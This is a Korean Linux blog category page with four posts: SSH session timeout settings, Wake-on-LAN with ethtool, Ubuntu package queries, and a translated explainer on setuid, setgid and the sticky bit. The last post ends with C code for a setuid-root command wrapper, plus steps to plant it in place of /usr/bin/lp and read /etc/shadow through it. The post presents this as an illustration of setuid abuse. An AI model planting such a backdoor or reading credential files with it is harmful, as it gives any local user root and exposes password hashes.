'3. Implementation/Linux / Unix'에 해당되는 글 4건

  1. 2014.06.02 Linux SSH Session Timeout Setting
  2. 2011.03.07 Wake-On-Lan 설정
  3. 2011.02.28 [Ubuntu] 설치된 패키지(소프트웨어) 확인
  4. 2011.02.08 SETUID, SETGID, Sticky Bit
2014. 6. 2. 06:42

Linux SSH Session Timeout Setting

Our project faced a very weird problem that SSH.Net cannot get the exit event after 10 minutes. Though the command was finished, SSH.Net was waiting for its completion.


The reason was caused by the time-out of the ssh session. To increase this, set it as below.


sudo vi /etc/ssh/sshd_config


# 300 secons

ClientAliveInterval 300

# 300 * (12) MAX 1 HOUR

ClientAliveCountMax 12


$ sudo service ssh restart


After this, it worked well.

2011. 3. 7. 23:08

Wake-On-Lan 설정

우분투 리눅스 서버에 WOL 설정을 하는 방법은 아래와 같습니다.

....

리눅스를 운영하는 WOL 컴퓨터의 가장 흔한 문제는 네트워크 드라이버가 디폴트로 WOL 옵션이 off 되어 있다는 것입니다. WOL 을 수동으로 변경하기 위해서는 ethtool 을 사용합니다.

# pacman -S ethtool

아래 명령은 드라이버가 어떻게 설정되었는지를 보여줍니다.

# ethtool eth0 | grep Wake-on
Suppports Wake-on: pg
Wake-on: d

WOL 이 동작하기 위해서는 Wake-on 에 'g' 가 나타나야 합니다.

wol 기능을 활성화하기 위해서는 다음 명령을 실행합니다.

# ethtool -s eth0 wol g

이 명령은 재부팅 되면 모두 날아갑니다. 이 설정을 보존하기 위해서는 /etc/rc.local 에다가 다음 명령을 추가합니다.

# Setup WOL for next boot
stat_busy "Setting WOL to Active"
/usr/sbin/ethtool -s eth0 wol g
stat_done


2011. 2. 28. 12:16

[Ubuntu] 설치된 패키지(소프트웨어) 확인

설치된 패키지(또는 소프트웨어)를 확인하는 방법에는 여러가지가 있습니다.

$ apt-cache search [패키지명]

원하는 패키지를 찾습니다.

$ apt-cache show [패키지명]

원하는 패키지 찾은 다음 그에 대한 정보를 출력하는 명령입니다.

$ aptitude -v

메뉴를 이용하여 원하는 패키지를 찾을 수 있습니다. 문제는 SecureCRT 와 같은 도구를 이용할 때 제대로 보이지 않음.

참고:


2011. 2. 8. 07:47

SETUID, SETGID, Sticky Bit

setuid: short for set user id
setgid: short for set group id

setuid 와 getgid 는 일반 유저가 실행화일의 소유자 또는 그룹의 권한을 이용하여 실행할 수 있도록 하는 유닉스 접근 권한 플래그입니다. 특정 작업을 수행하기 위해서 일시적으로 상승된 권한을 이용하여 프로그램을 실행하기 위해 사용됩니다.

setuid on executables

이진 실행 화일에 setuid 속성이 있으면, 이 파일을 실행할 수 있는 권한을 가진 일반 유저가 생성된 프로세스 내에서 파일을 소유하고 있는 사용자 (일반적으로 root) 의 권한을 얻게 된다. 프로세스 내에서 루트 권한을 가지게 되면, 그 애플리케이션은 일반적인 사용자에게는 제한된 시스템의 기능을 수행할 수 있다.

사용자가 ptrace, LD_LIBRARY_PATH, 또는 시그널을 보내는 등의 방법을 사용하여 아무렇게나 새로운 프로세스를 변경하려는 시도는 시스템에 의해 금지될 것이다. 보안 결함으로 인해, 많은 OS 들이 실행가능한 셀 스크립트에 setuid 속성이 적용되어 있는 경우 이를 무시하고 있다.

setuid 기능이 여러 방면에 아주 유용한 반면에, 주의깊게 설계되지 않은 실행가능한 프로그램에 setuid 속성이 할당되어 있다면, 보안 리스크를 노출할 수 있다. 영구적인 상승 권한을 얻기 위해, 또는 의도적으로 트로잔 목마(trojan horse) 프로그램을 실행하기 위해 결함이 있는 프로그램의 취약성을 이용할 수 있다. 

setgid 속성은 setuid 속성이 사용자 기반 권한을 변경하는 것과 같이, 그룹 기반 권한을 변경할 수 있다.

setuid 와 setgid 비트는 보통 chmod 명령어를 이용하여 설정되고 최상위 값을 4 (setuid) 또는  2 (setgid) 로 설정한다. 'chmod 6711' 는 setuid 와 setgid 비트를 설정하고 파일 소유자는 read/write/executable 권한을, 그리고 그룹과 others는 executable 권한을 가지도록 한다. 모든 chmod 플래그는 8진수이고 최상위 8진수의 최하위 비트는 sticky bit 라고 알려진 특수한 모드에 사용된다. ('chmod 1755 temp' 와 같이 1이 sticky bit 를 설정한다.)

setuid and setgid on directories

setuid 와 setgid 플래그가 디렉토리에 대해서 설정될 때는 완전히 다른 의미를 가지게 된다.

디렉토리에 setgid 를 설정하는 것 (chmod g+s) 은 그 디렉토리 내에서 생성되는 새로운 파일과 서브 디렉토리가 그 파일을 생성한 사용자의 주 groupID(primary groudID) 대신 setgid 가 설정된 디렉토리의 groupID 를 상속하도록 한다. 새로 생성된 서브 디렉토리는 setgid 비트를 상속한다. 디렉토리에 setgid 권한을 설정하는 것은 setgid 비트가 설정된 이후에 새로 생성된 파일과 서브디렉토리에만 영향을 미친다는 것을 명심해야 한다. 

Security

이 비트를 사용하는 프로그램은 buffer overrun attack 에 당하지 않도록 주의깊게 설계되어야 한다. 

Sticky bit

- 모든 사용자가 읽고, 쓰고, 실행이 가능하다
- 단, sticky bit 퍼미션이 적용된 디렉토리에서는 누구나 파일을 쓰고 실행할 수 있지만, 파일 삭제는 오직 owner 만 할 수 있다.
- 나머지는 사용자의 퍼미션 값에 실행의 값인 'x'가 아닌 't' 기호가 대신 명시된다.
- 예)'chmod 1755 temp'

이상은 위키피디아를 번역한 내용에에 stick bit 내용만 조금 추가한 것입니다. 

아래는 보안 관련 카페에 게재된 소스이며 읽기 권한이 없는 경우에도 임시적으로 setuid 권한 (root 권한)을 가지고 읽을 수 있는 순간적인 권한 상승을 악용한 내용입니다.


main(int argc, char * argv[])
{
	char exec[100];
	setuid(0);
	setgid(0);

	sprintf(exec, argv[1]);
	system(exec);
}

1. 소스 컴파일 
# gcc set.c -o lp

2. 권한 변경
# chmod 4777 lp

3. /usr/bin/lp 삭제

4. 컴파일된 lp 를 /usr/bin 로 복사

5. 해당 프로그램을 이용하여 shadow 파일 읽기
# /usr/bin/lp "cat /etc/shadow"


위 방법은 루팅된 안드로이드폰에서 su 권한을 가지도록 하는 프로그램에서도 동일하게 사용되었습니다. 아래의 superuser.zip 파일 안에 su.c 코드를 살펴보면 위와 동일하게 구현되어 있습니다. 앞단에 su 권한을 부여할 프로세스 관리를 위한 android activity 를 실행하는 것 외에는 말이죠.



참고